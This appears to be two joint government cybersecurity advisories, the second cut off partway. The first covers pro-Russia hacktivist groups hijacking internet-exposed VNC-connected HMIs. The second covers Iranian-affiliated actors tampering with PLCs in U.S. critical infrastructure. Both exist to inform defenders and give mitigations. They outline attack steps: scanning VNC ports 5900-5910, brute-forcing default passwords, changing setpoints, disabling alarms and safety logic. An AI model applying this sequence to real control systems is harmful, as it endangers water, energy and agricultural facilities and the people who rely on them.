The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.

In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.

CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.

In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.

The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.

NoName057(16)

The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.

Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers.

In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.

Z-Pentest

Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.

Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.

Sector16

Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.

Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 18. See the MITRE ATT&CK Tactics and Techniques section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

TTP Overview

Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.

Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.

Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the Water and Wastewater, Food and Agriculture, and Energy Sectors.

Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:

Scan for vulnerable devices on the internet [T0883] with open VNC ports [T1595.002].
Initiate temporary virtual private server (VPS) [T1583.003] to execute password brute force software.
Use VNC software to access hosts [T1021.005].
Confirm connection to the vulnerable device [T0886].
Brute force the password, if required [T1110.003].
Gain access to HMI devices [T0883], typically with default [T0812], weak, or no passwords [T0859].
Log the confirmed vulnerable device IP address, port, and password.
Using the HMI graphical interface [T0823], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [T0828]:
- Modify usernames/passwords [T0892];
- Modify parameters [T0836];
- Modify device name [T0892];
- Modify instrument settings [T0831];
- Disable alarms [T0878];
- Create loss of view (a technique that mandates local hands-on operator intervention) [T0829]; and/or
- Device restart or shutdown [T0816].
Disconnect from the device, ending the VNC connection.
Research the compromised device company after the intrusion [T1591].

Propagation

To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.

Reconnaissance and Initial Access

The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as Nmap or OPENVAS, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port 5900 or other nearby ports (5901-5910). Their goal is to gain remote access to HMI devices connected to live control networks.

Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.

Impact

While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.

Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.

MITRE ATT&CK Tactics and Techniques

See Table 1 to Table 10 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

*Table 1. Reconnaissance*
Technique Title	ID	Use
Gather Victim Organization Information	T1591	Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning	T1595.002	Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.

*Table 2. Resource Development*
Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Server	T1583.003	Threat actors use virtual infrastructure to obfuscate identifiers.

*Table 3. Initial Access*
Technique Title	ID	Use
Internet Accessible Device	T0883	Threat actors gain access through less secure HMI devices exposed to the internet.

*Table 4. Persistence*
Technique Title	ID	Use
Valid Accounts	T0859	Threat actors use password guessing tools to access legitimate accounts on the HMI devices.

*Table 5. Credential Access*
Technique Title	ID	Use
Brute Force: Password Spraying	T1110.003	Threat actors use tools to rapidly guess common or simple passwords.

*Table 6. Lateral Movement*
Technique Title	ID	Use
Default Credentials	T0812	Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services	T0886	Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC	T1021.005	Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.

*Table 7. Execution*
Technique Title	ID	Use
Graphical User Interface	T0823	Threat actors interact with HMI devices via GUIs, attempting to modify control devices.

*Table 8. Inhibit Response Function*
Technique Title	ID	Use
Device Restart/Shutdown	T0816	While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression	T0878	Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential	T0892	Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.

*Table 9. Impair Process Control*
Technique Title	ID	Use
Modify Parameter	T0836	Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message	T0855	Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.

*Table 10. Impact*
Technique Title	ID	Use
Loss of Productivity and Revenue	T0828	Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View	T0829	Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely.
Manipulation of Control	T0831	Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.

Incident Response

If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:

Determine which hosts were compromised and isolate them by quarantining or taking them offline.
Initiate threat hunting activities to scope the intrusion. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.
Reimage compromised hosts.
Provision new account credentials.
Report the compromise to CISA, FBI, and/or NSA. See the Contact Information section of this advisory.
Harden the network to prevent additional malicious activity. See the Mitigations section of this advisory for guidance.

Mitigations

OT Asset Owners and Operators

The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

Reduce exposure of OT assets to the public-facing internet. When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [CPG 3.S].
- Asset owners should use attack surface management services and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.
  Note: For more information on attack surface management, see CISA’s Internet Exposure Reduction Guidance, CISA’s Cyber Hygiene Services for U.S. critical infrastructure, and NSA’s Attack Surface Management for the U.S. Defense Industrial Base.
- Implement network segmentation between IT and OT networks. Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [CPG 3.I].
- Consider implementing a firewall and/or virtual private network if exposure to the internet is necessary for controlling access to devices.
  - Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.
  - Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
  - Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
  - Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.
Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].
- Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
  - Keep VNC systems updated with the latest version available.
- Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.
Ensure OT assets use robust authentication procedures.
- Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
- Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
- Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
- Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
- Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.
Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.
- Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
- Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].
Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers

Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
- Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.
Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.

For more information on secure by design, see CISA’s Secure by Design webpage.

Validate Security Controls

In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.

To start:

Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
- For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.
The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.
- See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.

Contact Information

U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.

New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.

Acknowledgements

Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.

Version History

December 09, 2025: Initial version.

Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups

For further information on targeting methodologies for pro-Russia hacktivist groups, see:

CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups

The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.

Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

GRU military unit 74455
- Sandworm Team
- Voodoo Bear
- Seashell Blizzard
- APT44
Cyber Army of Russia Reborn (CARR)
- CyberArmy of Russia
- Народная CyberАрмия (НКА)
- People’s CyberArmy of Russia (PCA)
- Russian CyberArmy Team (RCAT)
NoName057(16)
- NoName057(16) Spain
- NoName057(16) Italy
- NoName057(16) France
Z-Pentest
- Z-Pentest Beograd
- Z-Pentest Alliance
- Z-Alliance

Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure

Sat, 25 Jul 2026 09:12:34 +0200

Advisory at a Glance

Title	Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Original Publication	April 7, 2026
Last Update	July 22, 2026
Executive Summary	The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.
Last Update Description	This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.
Affected Products	Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.
Key Actions	Install PLCs consistent with manufacturers' guidelines and security best practices. Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action. Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including `44818`, `2222`, `102`, and `502`, especially traffic originating from foreign hosting providers. For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.
Indicators of Compromise	For a downloadable copy of July 22, 2026 IOCs, see: AA26-097A STIX XML (July 2026) (29 KB) AA26-097A STIX JSON (July 2026) (30 KB) For a downloadable copy of historical April 7, 2026 IOCs, see: AA26-097A STIX XML (36 KB) AA26-097A STIX JSON (12 KB)
Intended Audience	Organizations: Critical Infrastructure Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer

Introduction

Note: This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files¹ and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.

The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including Government Services and Facilities (to include local municipalities), Water and Wastewater Systems (WWS), and Energy Sectors. The authoring agencies previously reported on similar activity targeting PLCs by CyberAv3ngers (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).

Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section of this advisory to reduce the risk of compromise.

If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see Contact Information) to receive support, mitigation, and investigation assistance.

For more information on Iranian malicious cyber activity, see CISA’s Iran Threat Overview and Advisories webpage and the FBI’s Iran Threat and Iran Cyber Threat Overview webpages.

Download the PDF version of this report:

Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure (PDF, 1.09 MB )

(New, July 22, 2026) For a downloadable copy of July 22, 2026 IOCs, see:

AA26-097A STIX XML (XML, 29 KB)
AA26-097A STIX JSON (JSON, 30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:

AA26-097A.stix_.xml (XML, 35.97 KB )

AA26-097A.stix_.json (JSON, 11.87 KB )

Background Information

Similar Historical Activity Targeting Programmable Logic Controllers

During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.

For more information on this group’s activity, see the joint Cybersecurity Advisory IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities.

Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers

The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.

(New, July 22, 2026) At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.

Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including Government Services and Facilities, WWS, and Energy Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.

Technical Details

Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 19. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.

Initial Access

(Updated, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [T0883]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: 44818, 2222, 102, and 502, as well as targeting modems on port 22. Targeted devices include:

Rockwell Automation: CompactLogix and Micro850 PLCs
Schneider Electric: BMX P34/Modicon M340 PLCs
Siemens: S7-1200 series PLCs

Command and Control

(Updated, July 22, 2026) The targeting of ports [T0885] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port 22 [T1219].

Exfiltration

(New, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [T1041].

Impact

(Updated, July 22, 2026) After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [T1565]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.

